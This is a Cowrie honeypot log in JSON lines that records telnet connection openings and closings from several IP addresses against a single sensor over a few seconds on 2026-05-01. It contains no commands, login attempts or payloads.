{"eventid":"cowrie.session.closed","duration":30.095017671585083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.035922Z","src_ip":"147.135.136.77","session":"abf8cf9b9447","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99135184288025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.072880Z","src_ip":"51.79.21.139","session":"90376ac81ea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70479464530945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.121634Z","src_ip":"81.30.157.18","session":"5ca44b4a8b94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008458137512207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.129524Z","src_ip":"51.79.21.139","session":"68fa084c7f41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54938817024231,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.151900Z","src_ip":"81.30.157.18","session":"0e5670e06b8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52872610092163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.171216Z","src_ip":"168.119.91.149","session":"7b04e6c318f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44218,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bbbfe7b1f26","protocol":"telnet","message":"New connection: 81.30.157.18:44218 (159.203.135.109:23) [session: 8bbbfe7b1f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.201255Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46546,"dst_ip":"159.203.135.109","dst_port":23,"session":"faee6ee6d50a","protocol":"telnet","message":"New connection: 147.135.136.77:46546 (159.203.135.109:23) [session: faee6ee6d50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.240090Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46560,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc9ffb300fb6","protocol":"telnet","message":"New connection: 147.135.136.77:46560 (159.203.135.109:23) [session: fc9ffb300fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.318391Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41370,"dst_ip":"159.203.135.109","dst_port":23,"session":"60fd9471d10a","protocol":"telnet","message":"New connection: 168.119.91.149:41370 (159.203.135.109:23) [session: 60fd9471d10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.363475Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44282,"dst_ip":"159.203.135.109","dst_port":23,"session":"37668efdf6ce","protocol":"telnet","message":"New connection: 81.30.157.18:44282 (159.203.135.109:23) [session: 37668efdf6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.678715Z"}
{"eventid":"cowrie.session.closed","duration":31.74582004547119,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.793799Z","src_ip":"51.79.21.139","session":"222677d8a6c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75143837928772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.059941Z","src_ip":"81.30.157.18","session":"3b485683c298","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.190205097198486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.068633Z","src_ip":"81.30.157.18","session":"3c7d95d65acc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46572,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aee1fa75dba","protocol":"telnet","message":"New connection: 147.135.136.77:46572 (159.203.135.109:23) [session: 1aee1fa75dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.095948Z"}
{"eventid":"cowrie.session.closed","duration":30.483258724212646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.132193Z","src_ip":"147.135.136.77","session":"4db5167fc98d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":45212,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e93c83bea6e","protocol":"telnet","message":"New connection: 37.187.24.227:45212 (159.203.135.109:23) [session: 1e93c83bea6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.156127Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44398,"dst_ip":"159.203.135.109","dst_port":23,"session":"57bff3aa02f0","protocol":"telnet","message":"New connection: 81.30.157.18:44398 (159.203.135.109:23) [session: 57bff3aa02f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.166147Z"}
{"eventid":"cowrie.session.closed","duration":30.876494646072388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.243778Z","src_ip":"147.135.136.77","session":"eca2b3cdfa3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56344,"dst_ip":"159.203.135.109","dst_port":23,"session":"7157765b3e20","protocol":"telnet","message":"New connection: 168.119.91.149:56344 (159.203.135.109:23) [session: 7157765b3e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.250005Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46602,"dst_ip":"159.203.135.109","dst_port":23,"session":"674052110013","protocol":"telnet","message":"New connection: 147.135.136.77:46602 (159.203.135.109:23) [session: 674052110013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.320829Z"}
{"eventid":"cowrie.session.closed","duration":30.647872924804688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.425824Z","src_ip":"147.135.136.77","session":"ce1022d3683f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.236971139907837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.478507Z","src_ip":"168.119.91.149","session":"3342f3593dab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311503887176514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.534417Z","src_ip":"147.135.136.77","session":"ba485f846877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":45032,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf6ee6954a51","protocol":"telnet","message":"New connection: 149.102.133.101:45032 (159.203.135.109:23) [session: cf6ee6954a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.543089Z"}
{"eventid":"cowrie.session.closed","duration":30.791091442108154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.605349Z","src_ip":"168.119.91.149","session":"bfe02a77d478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44520,"dst_ip":"159.203.135.109","dst_port":23,"session":"80b88c9e4050","protocol":"telnet","message":"New connection: 81.30.157.18:44520 (159.203.135.109:23) [session: 80b88c9e4050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:29.979149Z"}
{"eventid":"cowrie.session.closed","duration":30.932783126831055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.020903Z","src_ip":"51.79.21.139","session":"d08226bc1069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.410107135772705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.030001Z","src_ip":"51.79.21.139","session":"34bbc50a6209","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44530,"dst_ip":"159.203.135.109","dst_port":23,"session":"af0045c692a6","protocol":"telnet","message":"New connection: 81.30.157.18:44530 (159.203.135.109:23) [session: af0045c692a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.048531Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44532,"dst_ip":"159.203.135.109","dst_port":23,"session":"5384fedf586c","protocol":"telnet","message":"New connection: 81.30.157.18:44532 (159.203.135.109:23) [session: 5384fedf586c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.057778Z"}
{"eventid":"cowrie.session.closed","duration":30.84134006500244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.148368Z","src_ip":"81.30.157.18","session":"a6cf810917c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44544,"dst_ip":"159.203.135.109","dst_port":23,"session":"3117df47a71f","protocol":"telnet","message":"New connection: 81.30.157.18:44544 (159.203.135.109:23) [session: 3117df47a71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.352396Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56438,"dst_ip":"159.203.135.109","dst_port":23,"session":"9acaa2e235a5","protocol":"telnet","message":"New connection: 168.119.91.149:56438 (159.203.135.109:23) [session: 9acaa2e235a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.457757Z"}
{"eventid":"cowrie.session.closed","duration":31.116480827331543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.480476Z","src_ip":"168.119.91.149","session":"7487381355aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37365102767944,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.490543Z","src_ip":"147.135.136.77","session":"010fe13078a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46650,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5cb5f7a3d73","protocol":"telnet","message":"New connection: 147.135.136.77:46650 (159.203.135.109:23) [session: b5cb5f7a3d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.509492Z"}
{"eventid":"cowrie.session.closed","duration":30.79578995704651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.520257Z","src_ip":"168.119.91.149","session":"d6747fbfabb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56446,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f7db94fb47c","protocol":"telnet","message":"New connection: 168.119.91.149:56446 (159.203.135.109:23) [session: 7f7db94fb47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.535477Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56460,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d54951902ff","protocol":"telnet","message":"New connection: 168.119.91.149:56460 (159.203.135.109:23) [session: 3d54951902ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:30.634889Z"}
{"eventid":"cowrie.session.closed","duration":30.97440767288208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.016119Z","src_ip":"51.79.21.139","session":"d5b07e80def8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642512321472168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.059505Z","src_ip":"81.30.157.18","session":"596ee318d3b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56488,"dst_ip":"159.203.135.109","dst_port":23,"session":"910212622fe2","protocol":"telnet","message":"New connection: 168.119.91.149:56488 (159.203.135.109:23) [session: 910212622fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.086079Z"}
{"eventid":"cowrie.session.closed","duration":31.048136234283447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.264990Z","src_ip":"85.208.100.77","session":"98178840553d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":46674,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3d149cff466","protocol":"telnet","message":"New connection: 51.79.21.139:46674 (159.203.135.109:23) [session: b3d149cff466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.278698Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46698,"dst_ip":"159.203.135.109","dst_port":23,"session":"92445af13972","protocol":"telnet","message":"New connection: 147.135.136.77:46698 (159.203.135.109:23) [session: 92445af13972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.343483Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":45040,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb4a1dc11db","protocol":"telnet","message":"New connection: 149.102.133.101:45040 (159.203.135.109:23) [session: 2cb4a1dc11db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.511245Z"}
{"eventid":"cowrie.session.closed","duration":30.64719867706299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.527986Z","src_ip":"168.119.91.149","session":"cda5c1cb2f30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060827016830444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.548133Z","src_ip":"147.135.136.77","session":"9de001d441c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32454562187195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.553593Z","src_ip":"168.119.91.149","session":"ebd7c919368f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":46058,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dde7251bd04","protocol":"telnet","message":"New connection: 46.101.32.143:46058 (159.203.135.109:23) [session: 4dde7251bd04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.569068Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46708,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c6e7e61991","protocol":"telnet","message":"New connection: 147.135.136.77:46708 (159.203.135.109:23) [session: 90c6e7e61991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:31.758744Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46718,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0b451dd3940","protocol":"telnet","message":"New connection: 147.135.136.77:46718 (159.203.135.109:23) [session: c0b451dd3940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:32.020868Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56532,"dst_ip":"159.203.135.109","dst_port":23,"session":"24317257433b","protocol":"telnet","message":"New connection: 168.119.91.149:56532 (159.203.135.109:23) [session: 24317257433b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:32.058206Z"}
{"eventid":"cowrie.session.closed","duration":30.891019344329834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:32.090314Z","src_ip":"147.135.136.77","session":"567386c0a640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46736,"dst_ip":"159.203.135.109","dst_port":23,"session":"006b9c04f550","protocol":"telnet","message":"New connection: 147.135.136.77:46736 (159.203.135.109:23) [session: 006b9c04f550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:32.170319Z"}
{"eventid":"cowrie.session.closed","duration":30.987435340881348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:32.180866Z","src_ip":"147.135.136.77","session":"ae7234b2f3d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56534,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cdb9e12df37","protocol":"telnet","message":"New connection: 168.119.91.149:56534 (159.203.135.109:23) [session: 0cdb9e12df37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:32.187040Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":34946,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d029b266619","protocol":"telnet","message":"New connection: 85.208.100.77:34946 (159.203.135.109:23) [session: 1d029b266619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:32.376812Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56538,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd9da6073b08","protocol":"telnet","message":"New connection: 168.119.91.149:56538 (159.203.135.109:23) [session: dd9da6073b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:32.461647Z"}
{"eventid":"cowrie.session.closed","duration":30.33394169807434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:32.473142Z","src_ip":"168.119.91.149","session":"7e1db346a618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66977858543396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:32.517754Z","src_ip":"168.119.91.149","session":"192a883b5152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828712224960327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.013287Z","src_ip":"51.79.21.139","session":"e1471e3caf28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01332688331604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.043404Z","src_ip":"51.79.21.139","session":"af0805bd630d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631370544433594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.077676Z","src_ip":"81.30.157.18","session":"6938c6e4a1b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935385704040527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.081676Z","src_ip":"81.30.157.18","session":"513e2a76a175","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46732,"dst_ip":"159.203.135.109","dst_port":23,"session":"59737d22bb70","protocol":"telnet","message":"New connection: 147.135.136.77:46732 (159.203.135.109:23) [session: 59737d22bb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.098382Z"}
{"eventid":"cowrie.session.closed","duration":30.78996467590332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.110519Z","src_ip":"147.135.136.77","session":"e3e93b90dddf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19230818748474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.129832Z","src_ip":"149.102.133.101","session":"87fb1228a56a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71970844268799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.135859Z","src_ip":"51.79.21.139","session":"b6fb46e3379f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46770,"dst_ip":"159.203.135.109","dst_port":23,"session":"57553aa81d1f","protocol":"telnet","message":"New connection: 147.135.136.77:46770 (159.203.135.109:23) [session: 57553aa81d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.252092Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56550,"dst_ip":"159.203.135.109","dst_port":23,"session":"4faba8b7c860","protocol":"telnet","message":"New connection: 168.119.91.149:56550 (159.203.135.109:23) [session: 4faba8b7c860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.307396Z"}
{"eventid":"cowrie.session.closed","duration":31.193993091583252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.314531Z","src_ip":"81.30.157.18","session":"13444df4cb32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":55446,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d3878d1f7c4","protocol":"telnet","message":"New connection: 37.187.24.227:55446 (159.203.135.109:23) [session: 7d3878d1f7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.447137Z"}
{"eventid":"cowrie.session.closed","duration":31.002164840698242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.597864Z","src_ip":"168.119.91.149","session":"8a6d69573435","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46772,"dst_ip":"159.203.135.109","dst_port":23,"session":"029726cd3dfe","protocol":"telnet","message":"New connection: 147.135.136.77:46772 (159.203.135.109:23) [session: 029726cd3dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.679155Z"}
{"eventid":"cowrie.session.closed","duration":31.130526781082153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.900400Z","src_ip":"147.135.136.77","session":"c3aac97af6b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231820583343506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:33.935343Z","src_ip":"168.119.91.149","session":"c976b214798e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931787967681885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:34.020194Z","src_ip":"51.79.21.139","session":"95e06853d56c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939379692077637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:34.036375Z","src_ip":"51.79.21.139","session":"db4c088809e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":38198,"dst_ip":"159.203.135.109","dst_port":23,"session":"c50bdb940c04","protocol":"telnet","message":"New connection: 85.208.100.77:38198 (159.203.135.109:23) [session: c50bdb940c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:34.107867Z"}
{"eventid":"cowrie.session.closed","duration":31.038265228271484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:34.143882Z","src_ip":"147.135.136.77","session":"eec8faee5db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893386602401733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:34.196226Z","src_ip":"85.208.100.77","session":"61810c0c57c1","protocol":"telnet"}
